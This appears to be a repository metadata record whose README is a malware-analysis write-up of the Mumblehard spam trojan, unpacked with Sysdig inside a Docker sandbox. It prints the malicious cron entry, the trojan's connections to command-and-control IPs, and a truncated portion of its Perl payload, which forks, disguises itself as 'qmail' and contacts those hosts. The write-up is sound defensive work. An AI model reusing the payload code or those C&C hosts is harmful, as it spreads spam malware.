{"id":16931150,"url":"https://github.com/issif/sysdig-vs-malware","last_synced_at":"2025-03-21T03:26:17.759Z","repository":{"id":75780429,"uuid":"184266301","full_name":"Issif/sysdig-vs-malware","owner":"Issif","description":"A short story about how Sysdig helped us to unreveal a malware","archived":false,"fork":false,"pushed_at":"2019-05-02T15:03:30.000Z","size":557,"stargazers_count":8,"open_issues_count":0,"forks_count":2,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-01-26T00:13:06.985Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Issif.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-04-30T13:23:37.000Z","updated_at":"2021-03-13T07:16:38.000Z","dependencies_parsed_at":"2023-03-11T20:23:38.175Z","dependency_job_id":null,"html_url":"https://github.com/Issif/sysdig-vs-malware","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Issif%2Fsysdig-vs-malware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Issif%2Fsysdig-vs-malware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Issif%2Fsysdig-vs-malware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Issif%2Fsysdig-vs-malware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Issif","download_url":"https://codeload.github.com/Issif/sysdig-vs-malware/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244730113,"owners_count":20500367,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-10-13T20:43:19.455Z","updated_at":"2025-03-21T03:26:17.742Z","avatar_url":"https://github.com/Issif.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# Sysdig for malware unpacking\r\n\r\nThis short article relates how we easily spotted a malware and what it was doing by using Sysdig.\r\n\r\n## Context\r\n\r\nBack in 2016, a customer informed us his main server, a shared PHP hosting, had a very very bad IP reputation, declared everywhere as huge spammer. They asked for help to understand and fix.\r\n\r\nA simple `ps -ef` revealed tens of `httpd` processus, strange behavior for a Debian *(Note : `httpd` is name of web service `apache2` on a RedHat-like OS)*. We cleaned it up and started digging.\r\n\r\nFirst, we found an unwanted `cron` line for user `www-data` : \r\n\r\n```bash\r\n*/15 * * * * /var/tmp/IsvAvGKe\r\n```\r\n\r\nWe removed that line and I kept that binary in my pocket. Until today.\r\n\r\nSome weeks ago, cleaning up my laptop I found back this binary, I always wanted to write about this story and kindness of Sysdig's people on Slack decided me to do so. Big up to you guys.\r\n\r\nI didn't kept captures we made, but I'll try to reproduce in this article our actions and see what we can find now, just for fun.\r\n\r\n## For start\r\n\r\n```bash\r\nfile IsvAvGKe\r\n\r\nIsvAvGKe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped\r\n```\r\n\r\nSo, this is a `ELF` binary but as dissecting binary is not my speciality, I prefer choosing another way : **run the binary in a sandbox and capture all I can with Sysdig**.\r\n\r\n## Set up my sandbox\r\n\r\nNothing special here, will run the binary inside a `Docker` container.  It provides a controlable and isolated environment, and sysdig's filters permit us to easily captures its inputs and outputs :\r\n\r\n- An **AWS EC2** Instance\r\n- **Docker** installed on it (https://docs.docker.com/install/)\r\n- **Sysdig** installed on it (https://github.com/draios/sysdig/wiki/How-to-Install-Sysdig-for-Linux)\r\n\r\nIn a first terminal, I will spawn a `debian` container (to be relevant to our customer's environment) with our binary mounted inside (obvious) :\r\n\r\n```bash\r\ndocker run -ti --rm -u www-data -v /tmp/IsvAvGKe:/tmp/IsvAvGKe:ro debian /bin/bash\r\n\r\nwww-data@f2fdea26303a:/$\r\n```\r\n- `run` execute a command inside a docker\r\n- `-ti` attach a `tty` and open `stdin`\r\n- `--rm` remove container after exit\r\n- `-u data` run container as `www-data` user\r\n- `-v /tmp/IsvAvGKe:/tmp/IsvAvGKe:ro` mount our binary inside\r\n- `debian` image to use\r\n- `/bin/bash` command to execute\r\n\r\n*Note : user `www-data` already exists in official `debian` image, I add `-u` option to be logged in as it, to be relevant with the real env again.*\r\n\r\n## Start our capture\r\n\r\nIn a second terminal, directly on host, I'm starting a 30s capture :\r\n\r\n```bash\r\nsysdig -z -s 8192 -M 30 -w /tmp/scap.gz container.id=f2fdea26303a\r\n```\r\n- `-z` compress capture\r\n- `-s 2048` first 8192 bits of earch I/O buffer are captured\r\n- `-M 30` limit capture to 30s\r\n- `-w /tmp/scap.gz` where to write the capture\r\n- `container.id=f2fdea26303a` filter to get syscall from only our sandbox container and avoid noise from host\r\n\r\nQuickly, in my first terminal, inside the docker container :\r\n\r\n```bash\r\n/tmp/IsvAvGKe\r\n```\r\n\r\nAnd that's it. I can start now exploring my capture : \r\n\r\n```bash\r\nls -l /tmp/scap.gz\r\n-rw-r--r-- 1 root root 171449 Apr 30 09:14 /tmp/scap.gz\r\n```\r\n\r\n## Digging\r\n\r\nIn 2016, `sysdig inspect` didn't exist, so we used only `sysdig`'s chisels in CLI, for this article, I will do both.\r\n\r\n### With CLI\r\n\r\n#### List running processus \r\n\r\n```bash\r\nsysdig -r /tmp/scap.gz -p \"name=%proc.name pid=%proc.pid ppid=%proc.ppid\" | sort -u\r\n\r\nname=IsvAvGKe pid=13991 ppid=13886\r\nname=IsvAvGKe pid=13992 ppid=13886\r\nname=bash pid=13886 ppid=13859\r\nname=bash pid=13991 ppid=13886\r\nname=perl pid=13992 ppid=13886\r\nname=qmail pid=13993 ppid=13992\r\n```\r\n\r\nI discover a `qmail` process, however I do know that my container is not able to send emails, the name is faked for sure. This processus is created by our mysterious binary and according to parentings, it appears our it is obfuscating a `perl` script.\r\n\r\nI can also have more details by filtering on only `exec` and `fork` calls :\r\n\r\n```bash\r\nsysdig -r /tmp/scap.gz -p\"%evt.time %evt.dir user=%user.name evt=%evt.type proc.name=%proc.name pid=%proc.pid ppid=%proc.ppid\" \"(evt.type=clone or evt.type=execve)\"\r\n\r\n09:49:44.193092248 \u003e user=www-data evt=clone proc.name=bash pid=13026 ppid=13001\r\n09:49:44.193212631 \u003c user=www-data evt=clone proc.name=bash pid=13026 ppid=13001\r\n09:49:44.193286068 \u003c user=www-data evt=clone proc.name=bash pid=13429 ppid=13026\r\n09:49:44.193410426 \u003e user=www-data evt=execve proc.name=bash pid=13429 ppid=13026\r\n09:49:44.193551532 \u003c user=www-data evt=execve proc.name=IsvAvGKe pid=13429 ppid=13026\r\n09:49:44.193647684 \u003e user=www-data evt=execve proc.name=IsvAvGKe pid=13430 ppid=13429\r\n09:49:44.193739961 \u003c user=www-data evt=execve proc.name=perl pid=13430 ppid=13429\r\n09:49:44.225541020 \u003e user=www-data evt=clone proc.name=perl pid=13430 ppid=13429\r\n09:49:44.225684395 \u003c user=www-data evt=clone proc.name=perl pid=13430 ppid=13429\r\n09:49:44.225732075 \u003c user=www-data evt=clone proc.name=qmail pid=13431 ppid=13430\r\n```\r\n\r\n#### Outbound connections\r\n\r\nI take a look on connections from our container :\r\n\r\n```bash\r\nsysdig -r /tmp/scap.gz -A  evt.type=connect and evt.dir=\"\u003c\"\r\n\r\n2164 10:02:03.028972855 1 qmail (13993) \u003c connect res=-115(EINPROGRESS) tuple=172.17.0.2:54978-\u003e31.220.18.115:80\r\n2355 10:02:03.292168852 1 qmail (13993) \u003c connect res=-115(EINPROGRESS) tuple=172.17.0.2:48444-\u003e5.101.142.81:80\r\n7923 10:02:14.006776068 1 qmail (13993) \u003c connect res=-115(EINPROGRESS) tuple=172.17.0.2:38746-\u003e5.2.86.225:80\r\n8084 10:02:14.189004756 1 qmail (13993) \u003c connect res=-115(EINPROGRESS) tuple=172.17.0.2:39390-\u003e5.135.42.98:80\r\n13695 10:02:25.005251042 1 qmail (13993) \u003c connect res=-115(EINPROGRESS) tuple=172.17.0.2:33678-\u003e50.7.133.245:80\r\n```\r\n\r\nIt tried to connect on 5 IPS. \r\n\r\n```bash\r\nsysdig -r /tmp/scap.gz -c topconns\r\nBytes               Proto               Conn\r\n--------------------------------------------------------------------------------\r\n690B                tcp                 172.17.0.2:38658-\u003e5.2.86.225:80\r\n569B                tcp                 172.17.0.2:54888-\u003e31.220.18.115:80\r\n```\r\n\r\nOnly two connections have been successfully made on port 80 of 2 different remote IPs (`5.2.86.225`, `31.220.18.115`). Port and Protocol (`tcp`) argue these are HTTP requests, so let's check that :\r\n\r\n```bash\r\nsysdig -r /tmp/scap.gz -A -c echo_fds fd.port=80\r\n\r\n------ Write 325B to   172.17.0.2:54888-\u003e31.220.18.115:80 (qmail)\r\n\r\nGET / HTTP/1.1\r\nHost: 31.220.18.115\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.9\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nConnection: close\r\n\r\n------ Read 244B from   172.17.0.2:54888-\u003e31.220.18.115:80 (qmail)\r\n\r\nHTTP/1.1 200 OK\r\nDate: Tue, 30 Apr 2019 09:14:01 GMT\r\nServer: Apache/2.4.7 (Ubuntu)\r\nLast-Modified: Tue, 01 Nov 2016 14:21:13 GMT\r\nETag: \"1-5403e096eb454\"\r\nAccept-Ranges: bytes\r\nContent-Length: 1\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n------ Write 322B to   172.17.0.2:38658-\u003e5.2.86.225:80 (qmail)\r\n\r\nGET / HTTP/1.1\r\nHost: 5.2.86.225\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.9\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nConnection: close\r\n\r\n------ Read 368B from   172.17.0.2:38658-\u003e5.2.86.225:80 (qmail)\r\n\r\nHTTP/1.1 200 OK\r\nDate: Tue, 30 Apr 2019 09:14:12 GMT\r\nServer: Apache\r\nLast-Modified: Wed, 30 Jan 2019 02:03:25 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 163\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n\u003chtml\u003e\u003chead\u003e\u003cMETA HTTP-EQUIV=\"Cache-control\" CONTENT=\"no-cache\"\u003e\u003cMETA HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=/cgi-sys/defaultwebpage.cgi\"\u003e\u003c/head\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\r\n```\r\n\r\nWe do have HTTP requests and reponses, and requests sent by `qmail` as thought before. Not so much usefull data from responses, but almost 3 years after, let's say it's for better.\r\n\r\n#### Undiscover the perl script\r\n\r\nI saw that a `perl` process is runned, except if it's also a faked name, I could be able to read the script it reads in buffer, as I captured a lot of bits for each I/O.\r\n\r\n```bash\r\nsysdig -r /tmp/scap.gz -A -c echo_fds evt.is_io_read=true and proc.pid=13992 and not \"fd.directory contains /lib\"\r\n------ Read 4B from   /dev/urandom (perl)\r\n\r\n:ac|\r\n------ Read 5.60KB from   /dev/pts/0 (perl)\r\n\r\nuse strict; use POSIX; use IO::Socket; use IO::Select; $0 = \"qmail\"; $| = 1; my $ewblock = 11; my $eiprogr = 150; if ($^O eq \"linux\") { $ewblock = 11; $eiprogr = 115; }\r\nif ($^O eq \"freebsd\") { $ewblock = 35; $eiprogr = 36; } \u0026main(); sub main { exit 0 unless defined (my $pid = fork); exit 0 if $pid; POSIX::setsid();\r\n$SIG{$_} = \"IGNORE\" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD)); umask 0; chdir \"/\"; open (STDIN, \"\u003c/dev/null\"); open (STDOUT, \"\u003e/dev/null\"); open (STDERR, \"\u003e\u0026STDOUT\");\r\nmy $url = [\"31.220.18.115\",\"5.101.142.81\",\"5.2.86.225\",\"5.135.42.98\",\"50.7.133.245\",\"5.9.157.230\"]; my $tst = [\"a\"..\"z\", \"A\"..\"Z\"]; $tst = join (\"\", @$tst[map {rand @$tst}(1..(6 + int rand 5))]); my $dir = \"/var/tmp\"; if (open (F, \"\u003e\", \"/tmp/$tst\")) { close F; unlink \"/tmp/$tst\"; $dir =\"/tmp\"; }\r\nmy ($header, $content); my ($link, $file, $id, $command, $timeout) = (\"en.wikipedia.org\", \"index.html\", 1, 96, 10);\r\nforeach my $rs (@$url) { $header = \"$dir/\" . time; $content = $header . \"1\"; unlink $header if -f $header; unlink $content if -f $content; \u0026http($rs, $timeout, $header, $content, 0);\r\n\r\n[truncated]\r\n```\r\n\r\nAwesome ! By filtering for removing `.*/lib/.*` folder I easily spot the only script which is read by `perl` process. No need to do complicated reverse engineering, magic of *Sysdig* does all hard work for me.\r\n\r\nA simple glance shows :\r\n- `$0 = \"qmail\";` the perl script changes its name for `qmail` as seen in processlist\r\n- `$url = [\"31.220.18.115\",\"5.101.142.81\",\"5.2.86.225\",\"5.135.42.98\",\"50.7.133.245\",\"5.9.157.230\"]` contacted IP are set here, in a array.\r\n\r\nI could dig much deeper but it's enough clues for googling and find our guilty : `mumblehard`. A spam malware which has been discovered and take down in 2015 by ESET : https://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf\r\n\r\nTheir study indicates me that we faced a forked version because notified IPs of C\u0026C are not matching. It explains why our customer's server was still sending spams even in 2016, almost year after the official dismantlement of the botnet.\r\n\r\nFor people who want the full `perl` script (for research purpose only, of course) : http://hardwarefetish.com/681-mumblehard-c-trojan-unpacked\r\n\r\n### With Sysdig Inspect\r\n\r\nI showed how to explore the capture directly with **Sysdig** but I can do that graphically now with **Sysdig Inspect**, a nice GUI.\r\n\r\n#### Overview\r\n\r\n**Sysdig Inspect** gives me quick overview of what happened in my capture :\r\n\r\n![screenshot_1](screenshot_1.png)\r\n\r\nI see 2 HTTP requests over 5 Outbound Connections, some accessed, modified and deleted files and processus forks. Only one container is notified, as we filtered on it while capturing. \r\n\r\n#### Processus\r\n\r\nI filter on my container (double-click on its row) and select *Processus* view :\r\n\r\n![screenshot_2](screenshot_2.png)\r\n\r\n#### HTTP Requests\r\n\r\nOverview indicated me 5 Outbound Connections, here their details :\r\n\r\n![screenshot_3](screenshot_3.png)\r\n\r\nOnly 2 succeeded :\r\n\r\n![screenshot_4](screenshot_4.png)\r\n\r\n#### Find back the perl script\r\n\r\nI start by listing all readen files :\r\n\r\n![screenshot_5](screenshot_5.png)\r\n\r\nThe majority of opened files are from perl libraries, but I see also a strange input from `/dev/pts/0`, as I runned only one command in my docker, this can't be me directly :\r\n\r\n![screenshot_6](screenshot_6.png)\r\n\r\nSpotted !\r\n\r\n## Conclusion\r\n\r\nI didn't kept catpures we made in 2016, but in \r\nsentences, we were able to see the download and launch of spaming process (as `httpd`), the requests to C\u0026C and its orders (in HTTP but on port 25 for covering up its actions) and at last the list of emails to spam. It was really impressive to get all data we so few commands and in a so much understanble output. \r\n\r\nThanks for this awesome tool. :heart:\r\n\r\nHope you enjoyed this small article and discovered some tips for working with **Sysdig**. \r\n\r\n## Post Scriptum \r\n\r\nYou can find ma capture [capture](scap.gz) to play with it and reproduced my steps.\r\n\r\n## Author\r\n\r\nThomas Labarussias - https://github.com/Issif\r\n\r\n\r\n\r\n\r\n\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fissif%2Fsysdig-vs-malware","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fissif%2Fsysdig-vs-malware","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fissif%2Fsysdig-vs-malware/lists"}